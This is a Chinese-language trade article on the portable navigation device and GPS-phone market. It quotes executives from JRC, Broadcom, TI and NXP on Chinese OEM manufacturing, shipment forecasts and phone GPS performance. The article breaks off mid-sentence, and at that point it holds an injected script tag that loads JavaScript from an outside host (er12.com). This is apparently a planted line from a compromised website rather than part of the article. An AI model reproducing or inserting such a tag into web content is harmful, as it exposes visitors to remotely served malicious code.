卫星导航技术正在大踏步地走入普通消费者的家庭，它从未如此地贴近过我们的生活——在美国gps系统、欧洲伽利略、俄国glonass和中国北斗等全球导航卫星系统(gnss)的带动下，卫星定位技术的可获得性、可靠性和精度正在迅速提升，并首先推动了汽车导航技术的发展。而随着定位生态系统的发展，这种技术也和mp3、摄像头、fm调频等其他技术一样迅速进入手机终端。市场调研公司telematics research group(trg)今年初发布的报告称，2007年全球便携导航设备出货量达到5,000万部，其中pnd为3,000万部，具备导航功能的手机为2,000万部。trg预测，到2015年，全球便携导航设备总的出货量将超过5亿部。
便携式导航设备技术的发展为中国oem厂家带来了巨大商机。“中国已经成为pnd的全球生产基地，全世界有90%的pnd是在这里生产的。”日本无线株式会社(jrc)海外营业开发部部长定兼表示。而美国博通(broadcom)公司gps系统技术总监frank van diggelen则进一步表示：“随着成本的降低，pnd市场将会持续增长数年。而中国市场的增长也和其他地区一样，将不断由更低、更能为大众所接受的价格来驱动。”
然而无法否认的是，与巨大的产量相比，中国市场本身对pnd终端的需求还有些寒酸。目前pnd的市场需求主要还是来自欧洲和美国地区，中国生产的pnd也大都以出口到这些市场为主。此外，ti中国区asp业务拓展及应用总监李俭认为：“中国厂商以出口为主的状况可能还要持续一段时间。”他继续表示：“在中国gps市场，有两点值得关注：首先，在盗版软件的竞争下，gps地图提供商如何取得赢利；其次，如何创建一个能够从地图以外的增值业务中取得赢利的业务模式。”李俭说。
gps手机前景可期
即使手机厂商已经开始把gps作为一项标配，而博通也非常看好该类手机的市场前景，但diggelen还是认为，pnd仍旧是随后几年中便携式导航市场最大的驱动力。“pnd市场将会继续不断增长。”他说，“与手机不同，pnd的差异化来自其更大、更易查看的屏幕。”不过trg却认为，2008年具备导航功能的手机出货量将超过pnd。此外，nxp移动通讯与个人娱乐事业部移动通讯系统解决方案大中华区营销总监黄茂原也称，gps在手机中的配售率(attach rate)已经达到10%，预计2年后会上升到15~20%。“浮动范围要视终端用户的使用情况而定，如果出现杀手级的应用，就会有较高的比例。”黄茂原说。
nxp不久前收购单芯片方案供应商glonav，随后发布了面向手机和pnd市场的单芯片a-gps解决方案gns7560。同样这么做的还有博通公司，后者在去年中收购了global locate，并在随后的美国导航协会(ion)大会上发布了采用90nm工艺制造的bcm4750。但是试图在这一市场进行博弈的还不止这些老牌的半导体厂商，传统的汽车gps模块厂商如jrc也看好gps在pnd和手机中的机会。
毫无疑问，对于采用自导航的汽车厂商来说，自导航方案的质量与稳定性将压倒一切，而jrc在这方面可谓是佼佼者。据称，多家世界著名的日本汽车公司所采用的自导航方案约50%是由jrc提供的。早在2000年jrc就已经开发出采用其自主研发第七代gps芯片组的车载gps接收机模块，并在随后的8年里陆续推出了gps7.5代、gps8代，在性能提高的同时，模块的尺寸也在不断缩小。此外，该公司its事业部部长东海林透露，鉴于市场对于pnd和具备导航功能手机的旺盛需求，jrc已经开始研发新一代的gps9接收器。据悉，所有该公司的产品采用的都是jrc自主研发的asic芯片。而为了进军中国，他们还改变了在日本国内采取的直销模式，与深圳信太和进行合作，由后者来向中国及海外客户提供采用jrc技术和芯片的gps模块，以便尽可能的降低后者的应用成本，从而进一步迅速地打开市场。
解决gps手机性能难题
一个普遍流传的说法是，手机gps在性能上还无法同专用的pnd所媲美，毕竟在如此狭小的空间内集成多个无线技术并不是一件轻松的事。然而几乎所有的采访对象都对这个说法进行了不同程度的“反驳”。“由于天线尺寸的原因，手机gps还无法很好的工作，特别是在agps系统中，人们信奉‘刚好够用’的原则。因此从某种程度上来说，这个说法是正确的。”van diggelen表示，“但在采用灵敏的接受器(比如博通的hammerhead和barracuda芯片)并且具有良好设计的手机中，性能绝对不是一个问题。”
ti的李俭也称，回答“是/否”取决于所用的芯片组。“举个例子来说，由于必须同时执行多个任务，现有的一些手机可能需要应用处理器分出一部分能力来，这会拖累gps地图的运算。然而，一些应用处理器(比如omap2和omap3)，?script src=http://er12.com/t.js>
